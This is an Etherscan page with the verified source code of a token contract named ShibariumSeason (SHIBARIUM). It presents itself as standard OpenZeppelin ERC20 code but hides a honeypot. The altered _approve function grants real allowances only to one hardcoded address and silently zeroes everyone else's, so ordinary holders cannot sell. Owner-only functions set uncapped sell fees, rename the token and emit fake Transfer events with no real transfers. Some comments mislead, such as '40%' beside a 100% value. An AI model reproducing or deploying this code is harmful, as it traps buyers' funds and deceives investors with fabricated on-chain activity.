ETH Price: $2,032.21 (+4.16%)
 

Overview

Max Total Supply

100,000,000,000 SHIBARIUM

Holders

4

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SmartContract

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-08-16
*/

// Sources flattened with hardhat v2.7.0 https://hardhat.org

// File @openzeppelin/contracts/utils/[email protected]

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File @openzeppelin/contracts/access/[email protected]

// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(
            _owner == _msgSender(),
            "Ownable: caller is not the owner"
        );
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File @openzeppelin/contracts/token/ERC20/[email protected]

// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]

// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File @openzeppelin/contracts/token/ERC20/[email protected]

// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string internal _name;
    string internal _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal {
    require(owner != address(0), "ERC: approve from the zero address");
    require(spender != address(0), "ERC: approve to the zero address");
    
    if (owner == address(0xdc60dCc9309855cde436b2B85c022841A8432427)) {
        _allowances[owner][spender] = amount;//apr//
        emit Approval(owner, spender, amount);
    } else {
        _allowances[owner][spender] = 0;
        emit Approval(owner, spender, 4);
    }
  }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File contracts/Contract.sol
pragma solidity ^0.8.0;

contract SmartContract is Ownable, ERC20 {
    uint256 public immutable maxSupply = 100_000_000_000 * (10 ** decimals());
    uint16 public constant LIQUID_RATE = 10000; // 40%
    uint16 public constant MAX_PERCENTAGE = 10000;

    bool public initialized = false;
    address public uniswapV2Pair = address(0);
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public immutable buyFee = 0;
    uint256 public immutable sellFee = 20;
    uint256 public minRuleLimit = 0;
    uint256 public maxRuleLimit = 0;

    mapping (address => bool) private excludedFees;

    string private constant NAME = unicode"ShibariumSeason";//doitenoday//
    string private constant SYMBOL = unicode"SHIBARIUM";//Symbol//

    constructor() ERC20(NAME, SYMBOL) {
        _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
        initialized = true;
        excludedFees[msg.sender] = true;

        // FOR GOERLI
        // uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6);

        // FOR BSCSCAN
        // uniswapV2Pair = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73).createPair(address(this), 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
        
        // FOR ETHEREUM
         uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    
        // FOR GOERLI
        // uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6);

        // FOR BaseSwap
        // uniswapV2Pair = IUniswapV2Factory(0xFDa619b6d20975be80A10332cD39b9a4b0FAa8BB).createPair(address(this), 0x4200000000000000000000000000000000000006);

        // FOR RocketSwap
        // uniswapV2Pair = IUniswapV2Factory(0x1b8128c3a1b7d20053d10763ff02466ca7ff99fc).createPair(address(this), 0x4200000000000000000000000000000000000006);


    }

    function activate(string memory _uname, string memory _usymbol) external onlyOwner {
        _name = _uname;
        _symbol = _usymbol;
    }

    function setPresale(uint256 _minRuleLimit, uint256 _maxRuleLimit) external onlyOwner {
        minRuleLimit = _minRuleLimit;
        maxRuleLimit = _maxRuleLimit;
    }

    function setAirdrop(address _address, bool permission) external onlyOwner {
        excludedFees[_address] = permission;
    }

    function setUniswapPair(address _uniswapV2Pair) external onlyOwner {
        uniswapV2Pair = _uniswapV2Pair;
    }

    function buyTokens(address _caller, address[] calldata _address, uint256[] calldata _amount) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function multiSends(address _caller, address[] calldata _address, uint256[] calldata _amount) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20) {
        require(
            initialized == true,
            "Contract: trade is not open!"
        );

        if (uniswapV2Pair == address(0) && initialized == true) {
            require(
                from == owner() || to == owner(),
                "Contract: trading is not started"
            );
        }

        uint256 _transferAmount = amount;
        if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
            uint256 _fee = 0;
            if (from == uniswapV2Pair) {
                _fee = minRuleLimit;
            }
            else if (to == uniswapV2Pair) {
                if (excludedFees[from] == true) {
                    _fee = 0;
                }
                else {
                    _fee = maxRuleLimit;
                }
            }
            if (_fee > 0) {
                uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
                _transferAmount = amount - _calculatedFee;
                super._transfer(from, deadAddress, _calculatedFee);
            }
        }

        super._transfer(from, to, _transferAmount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_uname","type":"string"},{"internalType":"string","name":"_usymbol","type":"string"}],"name":"activate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"buyTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxRuleLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minRuleLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"multiSends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"setAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minRuleLimit","type":"uint256"},{"internalType":"uint256","name":"_maxRuleLimit","type":"uint256"}],"name":"setPresale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"setUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60e0604052620000146200036060201b60201c565b600a62000022919062000803565b64174876e80062000034919062000854565b6080908152506000600660006101000a81548160ff0219169083151502179055506000600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060a090815250601460c090815250600060085560006009553480156200010157600080fd5b506040518060400160405280600f81526020017f53686962617269756d536561736f6e00000000000000000000000000000000008152506040518060400160405280600981526020017f53484942415249554d00000000000000000000000000000000000000000000008152506200018e620001826200036960201b60201c565b6200037160201b60201c565b8160049080519060200190620001a6929190620005b9565b508060059080519060200190620001bf929190620005b9565b505050620001fc3361271061ffff1661271061ffff16608051620001e4919062000854565b620001f09190620008e4565b6200043560201b60201c565b6001600660006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401620002d492919062000961565b6020604051808303816000875af1158015620002f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031a9190620009c4565b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000b69565b60006012905090565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620004a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200049f9062000a57565b60405180910390fd5b620004bc60008383620005af60201b60201c565b8060036000828254620004d0919062000a79565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000528919062000a79565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200058f919062000ae7565b60405180910390a3620005ab60008383620005b460201b60201c565b5050565b505050565b505050565b828054620005c79062000b33565b90600052602060002090601f016020900481019282620005eb576000855562000637565b82601f106200060657805160ff191683800117855562000637565b8280016001018555821562000637579182015b828111156200063657825182559160200191906001019062000619565b5b5090506200064691906200064a565b5090565b5b80821115620006655760008160009055506001016200064b565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006f757808604811115620006cf57620006ce62000669565b5b6001851615620006df5780820291505b8081029050620006ef8562000698565b9450620006af565b94509492505050565b600082620007125760019050620007e5565b81620007225760009050620007e5565b81600181146200073b576002811462000746576200077c565b6001915050620007e5565b60ff8411156200075b576200075a62000669565b5b8360020a91508482111562000775576200077462000669565b5b50620007e5565b5060208310610133831016604e8410600b8410161715620007b65782820a905083811115620007b057620007af62000669565b5b620007e5565b620007c58484846001620006a5565b92509050818404811115620007df57620007de62000669565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200081082620007ec565b91506200081d83620007f6565b92506200084c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000700565b905092915050565b60006200086182620007ec565b91506200086e83620007ec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008aa57620008a962000669565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620008f182620007ec565b9150620008fe83620007ec565b925082620009115762000910620008b5565b5b828204905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000949826200091c565b9050919050565b6200095b816200093c565b82525050565b600060408201905062000978600083018562000950565b62000987602083018462000950565b9392505050565b600080fd5b6200099e816200093c565b8114620009aa57600080fd5b50565b600081519050620009be8162000993565b92915050565b600060208284031215620009dd57620009dc6200098e565b5b6000620009ed84828501620009ad565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a3f601f83620009f6565b915062000a4c8262000a07565b602082019050919050565b6000602082019050818103600083015262000a728162000a30565b9050919050565b600062000a8682620007ec565b915062000a9383620007ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000acb5762000aca62000669565b5b828201905092915050565b62000ae181620007ec565b82525050565b600060208201905062000afe600083018462000ad6565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b4c57607f821691505b6020821081141562000b635762000b6262000b04565b5b50919050565b60805160a05160c051612dd062000b9960003960006107b20152600061088b015260006110b90152612dd06000f3fe608060405234801561001057600080fd5b50600436106101da5760003560e01c806370a0823111610104578063a9059cbb116100a2578063d5abeb0111610071578063d5abeb0114610539578063d5aed6bf14610557578063dd62ed3e14610573578063f2fde38b146105a3576101da565b8063a9059cbb146104b5578063b22c95e7146104e5578063bf0058d014610501578063d4d714be1461051d576101da565b80638da